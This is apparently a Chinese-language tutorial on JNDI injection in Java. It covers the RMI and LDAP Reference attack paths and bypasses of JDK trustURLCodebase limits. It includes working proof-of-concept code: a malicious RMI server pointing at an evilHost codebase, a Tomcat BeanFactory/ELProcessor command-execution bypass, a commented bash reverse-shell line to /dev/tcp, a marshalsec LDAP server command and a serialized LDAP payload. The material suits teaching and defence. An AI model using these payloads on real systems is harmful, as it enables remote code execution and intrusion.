JNDI Attack
JNDI References 注入
为什么需要Reference
:
- 为了在命名服务或目录服务中绑定
Java
对象,可以使用Java
序列化来传输对象,但有时候不太合适,比如Java
对象较大的情况,此时就需要Reference
了。
Reference
作用:
JNDI
定义了命名引用(Naming References
),后面直接简称引用(References
)。这样需要被绑定的java
对象就可以通过绑定一个引用(Reference
),间接地存储在命名或目录服务中。Reference
包含足够的信息来查找或重新创建这个java
对象。因此这个引用可以被命名管理器(Naming Manager
)解码并解析为原始java
对象。
Reference
组成:
- 引用由
Reference
类来表示,它由地址(RefAddress
)的有序列表和所引用对象的信息组成。每个地址包含了如何构造出对应的java
对象的信息,包括引用对象的**Java
类名**,以及用于创建java
对象的ObjectFactory
类的名称和位置。
Reference
工作机制:
- 当使用
lookup()
方法查找对象时,Reference
将使用提供的ObjectFactory
类的加载地址来加载ObjectFactory
类,ObjectFactory
类将构造出需要的对象。
JNDI
注入是什么:
- 所谓的
JNDI
注入就是控制lookup
函数的参数,这样来使客户端访问恶意的RMI
或者LDAP
服务来加载恶意的对象,从而执行代码,完成利用。
如何进行JNDI
注入:
- 在
JNDI
服务中,利用Reference
类,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行。Reference
类表示对存在于命名/目录系统以外的对象的引用。具体则是指如果远程获取RMI
服务器上的对象为Reference
类或者其子类时,则可以从其他服务器上加载class
字节码文件来实例化(也就是远程方法调用的对象是另一个服务器上的恶意对象的引用)。
Reference
类常用属性:
className 远程加载时所使用的类名
factory 用于创建被引用对象实例的工厂类名
factoryLocation 工厂类的地址 可以是 file/ftp/http 等协议
例:
// 服务端
Reference reference = new Reference("Exploit","Exploit","http://evilHost/" );
registry.bind("Exploit", new ReferenceWrapper(reference));
// 客户端
Context ctx = new InitialContext();
ctx.lookup("rmi://evilHost/Exploit");
客户端通过 lookup
函数请求上面 bind
设置的 Exploit
,在本地 CLASSPATH
查找 Exploit
类,如果没有则根据设定的 Reference
对象,到URL
: http://evilHost/Exploit.class
获取构造被引用对象实例,构造方法中的恶意代码就会被执行
JNDI-RMI
JNDI
在使用RMI
时,服务端可以构造恶意Reference
,让客户端进行请求,请求时客户端就会被攻击。
低版本
低版本JDK
(JDK<6u132,7u122,8u113
):
-
服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class ServerExp { public static void main(String args[]) { try { Registry registry = LocateRegistry.createRegistry(1099); String factoryUrl = "http://localhost:1098/"; // url端口后面一定要有斜线 / Reference reference = new Reference("EvilClass","EvilClass", factoryUrl); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("Foo", wrapper); System.err.println("Server ready, factoryUrl:" + factoryUrl); } catch (Exception e) { System.err.println("Server exception: " + e.toString()); e.printStackTrace(); } } }
-
客户端
import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.directory.*; import java.util.Hashtable; public class JNDILookup { public static void main(String[] args) { try { Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/Foo"); System.out.println("ret: " + ret); } catch (NamingException e) { e.printStackTrace(); } } }
-
恶意类
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class EvilClass implements ObjectFactory { static void log(String key) { try { System.out.println("EvilClass: " + key); } catch (Exception e) { // do nothing } } { EvilClass.log("IIB block"); } static { EvilClass.log("static block"); } public EvilClass() { EvilClass.log("constructor"); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { EvilClass.log("getObjectInstance"); return null; } }
-
输出:
// static在类加载的时候执行 // 代码块和无参构造方法在clas.newInstance()时执行 // 因此恶意代码不仅可以写在静态代码块,写在构造器也可以 EvilClass:static block EvilClass:IIB block EvilClass:constructor EvilClass:getObjectInstance ret: null
高版本
高版本(JDK>=6u132,7u122,8u113
):JDK 6u132
、7u122
、8u113
开始 com.sun.jndi.rmi.object.trustURLCodebase
默认值为false
,禁止RMI
和CORBA
协议使用远程codebase
,也就无法加载远程 RMI
代码。运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
。
如果客户端请求查找的对象是远程引用Reference
,就需要先解引用(RegistryContext#decodeObject
)然后再调用NamingManager.getObjectInstance
,其中会实例化对应的 ObjectFactory
类并调用其 getObjectInstance
方法来创建引用对象。
在RegistryContext#decodeObject
中,会对 trustURLCodebase
进行判断,默认为false
,在 ref != null && ref.getFactoryClassLocation() != null
的情况下,就会抛出异常:
为了跳出if
语句,需要三个判断条件中至少有一个不满足:
- 令
ref
为空,从语义上看需要obj
不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程RMI
没有操作的空间。 - 令
ref.getFactoryClassLocation()
返回空。即,让ref
对象factoryLocation
为空,这个属性表示引用所指向对象的对应factory
类的地址,对于远程代码加载而言是codebase
,即远程代码的URL
地址(可以是多个地址,以空格分隔),如果对应的factory
是本地类,则该值为空,这是绕过高版本JDK
限制的关键。 trustURLCodebase
为true
,需要在命令行指定com.sun.jndi.rmi.object.trustURLCodebase
参数。
可以进一步工作的只有方法二,要满足方法二情况,需要在远程 RMI
服务器返回的 Reference
对象中不指定 Factory
的 codebase
;在处理 Reference
对象时,会先调用 ref.getFactoryClassName()
获取对应工厂类的名称,也就是会先从本地的CLASSPATH
中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回。因此需要在攻击者本地CLASSPATH
找到一个Factory
类,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制。
Tomcat
依赖包中的 org.apache.naming.factory.BeanFactory
(已经在用外部资源包了),在很多应用中都被包含,关键代码:
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
// 1. 反射获取类对象
if (tcl != null) {
beanClass = tcl.loadClass(beanClassName);
} else {
beanClass = Class.forName(beanClassName);
}
// 2. 初始化类实例
Object bean = beanClass.getConstructor().newInstance();
// 3. 根据 Reference 的属性查找 setter 方法的别名
RefAddr ra = ref.get("forceString"); // a=foo
String value = (String)ra.getContent();
// 4. 循环解析别名并保存到字典中
for (String param: value.split(",")) {
param = param.trim();
index = param.indexOf('='); // 1
if (index >= 0) {
setterName = param.substring(index + 1).trim(); // foo
param = param.substring(0, index).trim(); // a
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}
// 5. 解析所有属性,并根据别名去调用 setter 方法
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
String value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
method.invoke(bean, valueArray);
}
// ...
}
}
在返回给客户端的 Reference
对象的 forceString
字段中指定 了setter
方法的别名。例如forceString
为a=foo
,则会有foo
方法,参数为a
,参数值为对应属性对象 RefAddr
的值 (getContent
)。
在BeanFactory#getObjectInstance
中使用 beanClass.getConstructor().newInstance();
来实例化对象,只能调用目标class
的无参构造函数来实例化对象,使用的是javax.el.ELProcessor#eval
( 可以执行EL
表达式)和groovy.lang.GroovyShell#evaluate
作为目标class
。
poc
:
public class bypass {
public static void main(String args[]) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval")); // 相当于设置了一个eval函数,参数为x
// ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator.app\")")); // x处注入恶意代码
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
org.apache.naming.ResourceRef
在 tomcat
中表示某个资源的引用。
因为要使用 javax.el.ELProcessor
,所以需要 Tomcat 8+
或SpringBoot 1.2.x+
。
工具:
- https://github.com/mbechler/marshalsec
- https://github.com/welk1n/JNDI-Injection-Bypass,放在服务器上启动一个恶意
RMI Server
JNDI-LDAP
LDAP
目录服务也是基于客户端-服务器模型,客户端也可以使用lookup
方法向服务端发起查询,服务端向客户端发送数据,客户端进行反序列化。
低版本
低版本JDK
:
LDAP
服务端也能返回JNDI Reference
对象,利用过程与JNDI
+ RMI Reference
基本一致。不同的是,LDAP
服务中lookup
方法中指定的远程地址使用的是LDAP
协议,由攻击者控制LDAP
服务端返回一个恶意JNDI Reference
对象,并且LDAP
服务的Reference
远程加载Factory
类并不是使用RMI Class Loader
机制,因此不受trustURLCodebase
限制。
LDAP
服务启动:使用marshalsec
开启LDAP
服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc
将LDAP
查询请求重定向到http://127.0.0.1:8000/#calc
,calc
为恶意代码编译得到的class
文件
客户端:
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception {\
// aaa是随便写的用于DN查找的字符
String url = "ldap://127.0.0.1:8099/aaa";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
查询过程:
javax.naming.InitialContext#lookup
→com.sun.indi.url.Idap.IdapURLContext#lookup
→com.sun.jndi.toolkit.url.GenericURLContext#lookup
→com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup
→com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup
→com.sun.jndi.ldap.LdapCtx#c_lookup
→com.sun.jndi.ldap.Obj#decodeObject
LADP
服务利用流程分析,LADP
服务前面的调用流程和jndi
是基本一样,从Obj
类的decodeObject
方法这里就有些不太一样了,decodeObject
方法主要功能是解码从LDAP Server
来的对象,该对象可能是序列化的对象,也可能是一个Reference
对象。对象为Reference
对象时,内部调用了decodeReference
方法,decodeReference
方法根据Ldap
传入的addAttribute
属性构造并返回了一个新的reference
对象引用。
接着会返回到decodeObject
方法调用处,然后再返回到LdapCtx
类的c_lookup
方法调用处,接着往下执行调用getObjectInstance
方法。c_lookup
方法将reference
对象传给了getObjectInstance
方法的refInfo
参数,getObjectInstance
方法将reference
对象转换为Reference
类型并判断reference
对象是否为空,如果不为空则从reference
引用中获取工厂类名字,接着调用getObjectFactoryFromReference
方法根据工厂类名字获取远程调用对象。
LDAP
服务跟JNDI
一样,会尝试先在本地查找加载类,如果本地没有找到类,那么getFactoryClassLocation
方法会获取远程加载的url
地址,如果不为空则根据远程url
地址使用类加载器URLClassLoader
来加载Exp
类。LDAP
服务的整个利用流程都没有URLCodebase
限制。
高版本
在jdk8u191
以上的版本中修复了LDAP
服务远程加载恶意类这个漏洞,LDAP
服务在进行远程加载之前也添加了系统属性trustURLCodebase
的限制,在loadClass
方法内部添加了系统属性trustURLCodebase
的判断,如果trustURLCodebase
为false
就直接返回null
,只有当trustURLCodebase
值为true
时才允许远程加载。
可以利用JNDI-RMI
绕过高版本的方法尝试绕过,也就是在本地查找可以利用的工厂类与目标类进行攻击。JNDI | Java (gitbook.io)
上面说到 com.sun.jndi.ldap.Obj#decodeObject
主要功能是解码从LDAP Server
来的对象,该对象可能是序列化的对象,也可能是一个Reference
对象。
如果为序列化对象,会调用deserializeObject
方法,里面进行了readObject
操作,这里就是反序列化的触发点之一。
poc
:
自定义payload
:JNDI注入分析 (qq.com)
com.sun.jndi.ldap.Obj.java#decodeReference
函数在对普通的Reference
还原的基础上,还可以进一步对RefAddress
做还原处理,其中还原过程中,也调用了deserializeObject
函数,这意味着我们通过满足RefAddress
的方式,也可以达到上面第一种的效果。
需满足以下条件:1.第一个字符为分隔符 2.第一个分隔符与第二个分隔符之间,表示Reference
的position
,为int
类型 3.第二个分隔符与第三个分隔符之间,表示type
,类型 4.第三个分隔符是双分隔符的形式,则进入反序列化的操作 5.序列化数据用base64
编码 payload
如下:
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(serializeObject(getPayload())));
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
参考: